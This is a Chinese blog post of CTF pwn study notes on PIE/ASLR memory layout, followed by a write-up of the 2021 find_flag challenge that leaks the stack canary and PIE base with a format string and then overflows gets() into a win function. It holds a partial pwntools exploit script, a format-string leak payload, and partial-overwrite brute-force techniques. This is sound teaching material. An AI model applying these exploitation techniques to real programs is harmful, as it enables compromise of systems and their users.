Pwn-PIE

Pwn-PIE

pwn-第5部分PIE学习。

Pwn-PIE

64 位 Linux 虚拟内存布局与 PIE/ASLR 核心原理笔记

在 64 位 Linux(x86_64)的二进制安全(Pwn)中,理解虚拟内存地址的排布规律与随机化机制是最核心的基本功。掌握**“前两位识区域、末三位定偏移”**的规律,可以快速完成地址泄露分析与漏洞利用。


一、 64 位 Linux 内存地址速查

64 位 Linux 用户态实际使用 48 位(6 字节) 的有效虚拟地址空间(0x0000000000000000 ~ 0x00007fffffffffff)。当通过漏洞泄露出一个 6 字节指针时,直接看最高位的十六进制前缀即可判断其所属区域:

地址开头特征(12位十六进制)所属内存区域说明与实战用途
0x00000040xxxx未开启 PIE 的主程序代码段(.text)、数据段或 BSS 段,地址固定不变,无需泄露即可直接使用。
0x000055xxxxxx / 0x56...开启 PIE 的主程序 & Heap 堆主程序各段及紧随其后向上增长的 brk 堆区。用于计算 pie_base 或 heap_base。
0x00007fxxxxxx (偏小)Libc / 动态库 (mmap 区)动态链接库(如 libc.so.6、ld.so)映射区域。用于计算 libc_base。
0x00007ffxxxxx (7ffd~7fff)Stack(栈空间)存放局部变量、保存的 rbp 及返回地址。位于用户态最高地址处并向下增长。

PIE 主程序总是 0x55/0x56 开头,而动态库/栈是 0x7f 开头

开启 PIE(位置无关可执行文件) 后,主程序在文件头中被标记为 ET_DYN(与共享库相同)。为了防止主程序及其紧邻的 brk 堆区在向上增长时撞上高地址的动态链接库,Linux 内核在源码(arch/x86/include/asm/elf.h)中专门为 PIE 主程序规定了独立的基准加载位置——位于用户态地址空间总大小(TASK_SIZE = 0x800000000000,即 2472^{47})的 23\frac{2}{3} 处:

c
#define ELF_ET_DYN_BASE (TASK_SIZE / 3 * 2)
// 0x800000000000 * 2 / 3 = 0x555555555555
  • PIE 与 Heap(0x55 / 0x56): 将上述计算结果按内存页对齐后,PIE 的默认加载基址即为 0x555555554000(GDB 关闭 ASLR 时的固定基址)。开启 ASLR 后,内核在此基础上增加随机偏移,地址便始终落在 0x55... 或 0x56... 范围内。
  • Stack 与 Libc(0x7f): 用户态地址的天花板是 0x7fffffffffff。内核将紧贴天花板的最高处(0x7ffd... ~ 0x7fff...)留给 Stack(栈);而在栈下方的 0x7f... 区域则作为 mmap 映射区,用于加载 libc.so.6 等动态链接库。

二、 开启随机化后最后三位永远不变

无论 PIE 还是 ASLR 如何随机化,任何模块加载基址(Base Address)的最后三位十六进制数永远是 000,这意味着函数或指令地址的最后三位永远固定不变。

1. 底层原因:4KB 内存页对齐铁律

现代操作系统与 CPU(MMU 内存管理单元)管理虚拟内存的最小单位是**“页(Page)”**,x86_64 架构下一页的大小固定为 4KB(4096 字节,即 2122^{12} 字节,十六进制为 0x1000)。

  • 在二进制中,12 bits 恰好对应 3 个十六进制位(3×4=123 \times 4 = 12 bits)。
  • CPU 页表在转换虚拟地址时,只转换高位的“页号”,最低的 12 位作为**页内偏移(Page Offset)**直接原样保留。如果内核不按 0x1000 整页对齐,会导致不同权限的段(如可读可执行的 .text 与可读可写的 .data)混入同一个物理页,破坏内存权限隔离。
2. 地址拆解示例

以运行时的随机化地址 0x55bda59ec670 为例,它在内存中由两部分相加而成:

text
   0x55bda59ec000   <-- 随机化的页基址 (Page Base),末三位恒为 000
+  0x000000000670   <-- 编译时写死的页内偏移 (Page Offset)
-----------------
=  0x55bda59ec670   <-- 实际运行时地址(无论重启多少次,末尾 670 永不改变)

基址计算细节: 末三位 670 用于在 IDA 中核对指令位置。计算总基址 pie_base 时,必须减去该函数在 IDA 中的完整偏移量。如果 IDA 中该函数偏移为 0x670,则 base = 0x55bda59ec670 - 0x670 = 0x55bda59ec000;若新版编译器将代码段排布在 +0x1000 页之后(如 IDA 中显示偏移为 0x1670),则 base = 0x55bda59ec670 - 0x1670 = 0x55bda59eb000。


三、 实战利用技巧(CTF / Pwn 核心套路)

结合上述“前缀区分区域”与“末三位固定不变”的两大性质,在实战中有以下核心用法:

1. 格式化字符串/栈泄露中的快速定位

当利用 %p 泄露出栈上一串混杂的数据时:

  1. 算 PIE 基址: 寻找 0x55... 或 0x56... 开头的地址。
    • 避坑(区分 PIE 与 Heap): 堆地址同样以 0x55/0x56 开头。区分方法是看末三位是否与 IDA 中某个返回地址(如 main 或调用者下一条指令)完全吻合,并在 GDB 中用 x/i 地址 确认其指向有效汇编指令。
  2. 算 Libc 基址: 在栈底附近寻找 0x7f...(且非 0x7ff)的地址,通常是 __libc_start_main_ret,减去固定偏移即可得出 libc_base。
  3. 算栈地址: 寻找 0x7ffd... ~ 0x7fff... 开头的地址,利用固定栈帧差值定位当前函数的返回地址槽位。

2. Partial Overwrite(部分覆写绕过 PIE)

当程序中没有信息泄露漏洞(无法获知 pie_base),但存在栈溢出或格式化字符串写漏洞时:

  • 单字节覆写(100% 成功): 若目标后门函数(如 0x16a8)与当前栈上的返回地址(如 0x1670)处于同一个 4KB 页内,它们的高位地址完全相同。只需向返回地址的最低 1 字节覆写 \xa8(或使用 %hhn),即可免泄露直接劫持控制流。
  • 双字节覆写(1/16 概率爆破): 若后门函数位于相邻页(如 0x26a8,倒数第 4 位不同),只需覆写最低 2 字节(16 bits)。由于低 12 bits(6a8)固定,仅有倒数第 4 位的 4 bits(16 种可能)受随机化影响,编写脚本循环十余次即可高概率爆破成功。

3. 末三位秒查远程 Libc 版本

动态库 libc.so.6 的加载基址末三位同样恒为 000。在远程靶机泄露出某个函数的真实地址(如 puts 为 0x7f1234567420)后,直接提取其固定的末三位 420 输入 libc.rip 或 LibcSearcher,即可精准匹配出目标服务器所使用的 Libc 版本。


深育杯 2021 find_flag 题解 PIE

题目连接:https://www.nssctf.cn/problem/774

系统保护机制

什么是系统保护机制?

现代 Linux 程序默认开启多种保护,增加利用难度:

保护作用本题
PIE程序每次运行的地址都随机化,无法直接预测函数位置✅ 开启
Canary栈上放一个"哨兵值",函数返回前检查它有没有被篡改,防溢出✅ 开启
NX栈不可执行,不能直接在栈上写 shellcode✅ 开启
RELROGOT 表只读,不能通过改 GOT 劫持函数Full

由于 PIE 开启,我们需要先"泄漏"地址才能知道函数在哪;由于 Canary 开启,我们需要泄漏 Canary 才能绕过栈溢出检测。

什么是格式化字符串漏洞?

c
printf(user_input);   // 漏洞写法
printf("%s", user_input);  // 安全写法

如果直接把用户输入当格式串传给 printf,攻击者可以用 %p、%n 等格式符来读内存或写内存。

常见格式符:

  • %p:以十六进制打印一个指针值(8 字节)
  • %k$p:直接打印第 k 个参数(比如 %6$p 打印第 6 个参数)
  • %n:把已输出的字节数写入某个地址(用于任意写,本题不用)

什么是栈溢出?

程序用 gets() 这类不安全函数读入数据时,不检查输入长度。如果输入超出缓冲区大小,就会覆盖栈上相邻的数据(Canary、返回地址等)。

什么是 ROP(Return-Oriented Programming)?

当 NX 开启后,不能在栈上直接执行代码。ROP 的思路是:利用程序中已有的指令片段(称为 gadget,比如一个单独的 ret 指令),把它们拼起来形成攻击链。

x86-64 函数调用约定

函数参数传递规则:

  • 第 1 个参数 → RDI 寄存器
  • 第 2 个 → RSI
  • 第 3 个 → RDX
  • 第 4 个 → RCX
  • 第 5 个 → R8
  • 第 6 个 → R9
  • 第 7 个及以后 → 栈上

对于变参函数(如 printf),虽然只传了 1 个实参,但 printf 内部会根据 %p 的数量按顺序去读:第 1 个 %p 读 RSI,第 2 个读 RDX,第 5 个读 R9,第 6 个起读栈。

什么是栈对齐(movaps 问题)?

system() 函数内部使用了 movaps 指令,该指令要求 RSP 寄存器的值必须是 16 字节对齐(地址的末位是 0)。如果不对齐,程序会段错误(SIGSEGV)。

解决办法:在跳转到目标函数前,加一个多余的 ret gadget,让 RSP 移动 8 字节,从而调整对齐。


0x01 分析程序

查看保护

bash
checksec --file=find_flag

输出:

text
Arch:       amd64-64-little
RELRO:      Full RELRO
Stack:      Canary found
NX:         NX enabled
PIE:        PIE enabled

保护全开,所以我们需要:泄漏 Canary + 泄漏地址 → 构造 ROP 链 → 获取 shell/flag。

反汇编分析

用 IDA 或 objdump -d 反汇编:

text
objdump -d find_flag | grep -A 100 "1333:"
关键函数(地址 0x132f)分析

辅助函数分析

win 函数(地址 0x1229):

asm
1229: endbr64
122d: push   rbp
122e: mov    rbp, rsp
1231: lea    rdi, "/bin/cat flag.txt"   ; 参数
1238: call   system                     ; system("/bin/cat flag.txt")
123d: nop
123e: pop   rbp
123f: ret

这个函数就是我们的目标——跳转到它就能执行 cat flag.txt 拿到 flag。

栈布局

text
        buffer1     buffer2       canary    saved RBP   返回地址
        (32B)       (32B)         (8B)      (8B)        (8B)
      |-----------|-------------|---------|-----------|-----------|
rbp→  -0x60       -0x40        -0x8      0x0         +0x8
                               ★                  ★
                           需要泄漏          需要泄漏

0x02 攻击思路

分两步走:

Step 1:泄漏 Canary 和 PIE 基址

利用第一次输入的格式化字符串漏洞,用 %p 读取栈上的值。

关键推导:

  • buffer1 在 rbp-0x60
  • Canary 在 rbp-0x08
  • 两者距离:0x60 - 0x08 = 0x58 = 88 字节 = 11 个 qword

当 printf(buffer1) 被调用时:

  • %1$p%5$p 读寄存器 RSIR9
  • %6$p 读栈上第 1 个位置 = buffer1 开头
  • %6+11$p = %17$p = Canary

同理,返回地址在 rbp+0x08,距 buffer1 共 0x68 / 8 = 13 个 qword:

  • %6+13$p = %19$p = 返回地址
  • 返回地址是 main+0x146f,减去 0x146f 就是 PIE 基址

有了 PIE 基址,就能计算出 win 函数的真正地址(基址 + 0x1229)。


Step 2:栈溢出跳转到 win 函数

第二次输入用 gets(buffer2),构造 payload:

text
buffer2 → [  0x38 填充  ][  Canary  ][  假 RBP  ][  ret  ][  win  ]
          rbp-0x40       rbp-0x8    rbp+0x0      rbp+0x8 rbp+0x10
                         ↓           ↓            ↓        ↓
                      原样填回      任意值       ret对齐    win 地址

为什么加一个 ret 在前面?因为 system() 内部有 movaps 指令,要求 RSP 16 字节对齐。加一个 ret 让 RSP 多移动 8 字节,调整对齐。


0x03 编写 Exploit(逐行讲解)

首先安装 pwntools(Python 的 PWN 工具库):

bash
pip install pwntools

然后创建 exploit.py:

python
from pwn import *    # 导入 pwntools 所有功能

## 设置目标架构为 amd64(64位)
context.arch = 'amd64'
## 日志级别设为 info(显示成功/错误信息,少一些干扰)
context.log_level = 'info'

## 加载 ELF 文件,获取符号信息
elf = ELF('./find_flag')

## 连接程序(本地测试用 process,打远程用 remote)
p = process('./find_flag')
## p = remote('node5.anna.nssctf.cn', 28586)  # 远程靶机
第 1 步:泄露 Canary 和 PIE 基址
第 2 步:构造栈溢出 payload
python
## 等待第二个提示
p.recvuntil(b"Anything else? ")

## 构造 payload:
## - 0x38 字节填充(从 buffer2 到 canary)
## - Canary(原样写回,绕过检查)
## - 8 字节假 RBP(任意值)
## - ret gadget(修复栈对齐)
## - win 函数地址
payload2 = b"A" * 0x38          # 填充 56 字节
payload2 += p64(canary)         # Canary(8 字节,小端序)
payload2 += b"B" * 8            # 假 RBP(8 字节)
payload2 += p64(ret_gadget)     # ret gadget(对齐用)
payload2 += p64(win_addr)       # win 函数地址

p.sendline(payload2)            # 发送 payload

## 进入交互模式,拿到 flag
p.interactive()

完整脚本


0x04 调试辅助:用 GDB 验证

推荐用 GDB + pwndbg 插件来观察内存。

下断点

bash
gdb ./find_flag
start                    # 启动程序,停在入口点
b *$rebase(0x13bb)       # 断在 printf(buffer1) 处,$rebase 自动加 PIE 基址
c                        # 继续运行

输入测试 payload

程序提示 name? 后输入:

text
AAAA%p.%p.%p.%p.%p.%p.%p.%p.%p.%p.%p.%p.%p.%p.%p.%p.%p.%p.%p.%p

观察栈

gdb
stack 40      # 或 telescope $rsp 30

输出中能看到:

  • arg[6]: 0x252e702541414141 = AAAA%p.%(你的输入在 %6$p)
  • arg[17]: 0x????...??00 = Canary(最低字节是 0x00)
  • arg[19]: 0x5555...146f = 返回地址

验证 Canary

gdb
p/x 0x????...??00 & 0xff    # 结果应为 0x00,证明是 Canary

0x05 常见问题

Q:为什么是 %17$p 不是别的?

buffer1 在 rbp-0x60,Canary 在 rbp-0x08。距离 = 0x58 字节 = 11 个 qword。%6$p 读 buffer1 开头,所以 %6+11$p = %17$p。

Q:为什么要加一个 ret 在 win 前面?

system() 内部用 movaps 要求 RSP 16 字节对齐。不加 ret 时 RSP 可能不对齐,程序崩溃。

Q:为什么不用 system("/bin/sh") 而用 cat flag.txt?

因为 win 函数里已经写死了 /bin/cat flag.txt,我们只能跳过去执行它。题目设计如此。

Q:p64() 是什么?

pwntools 的函数,把整数转为 8 字节的小端序字节串。x86-64 是小端序(低位字节放低地址)。例如 p64(0x1234) → b"\x34\x12\x00\x00\x00\x00\x00\x00"。

Q:recvuntil(drop=True) 有什么用?

drop=True 表示不包含匹配的字符串在结果里。recvuntil(b"!\n", drop=True) 会收 ! 之前的所有内容,!\n 被丢弃。

md
PIE教程
从c到c++的过渡
MISC-流量分析

评论区

评论加载中...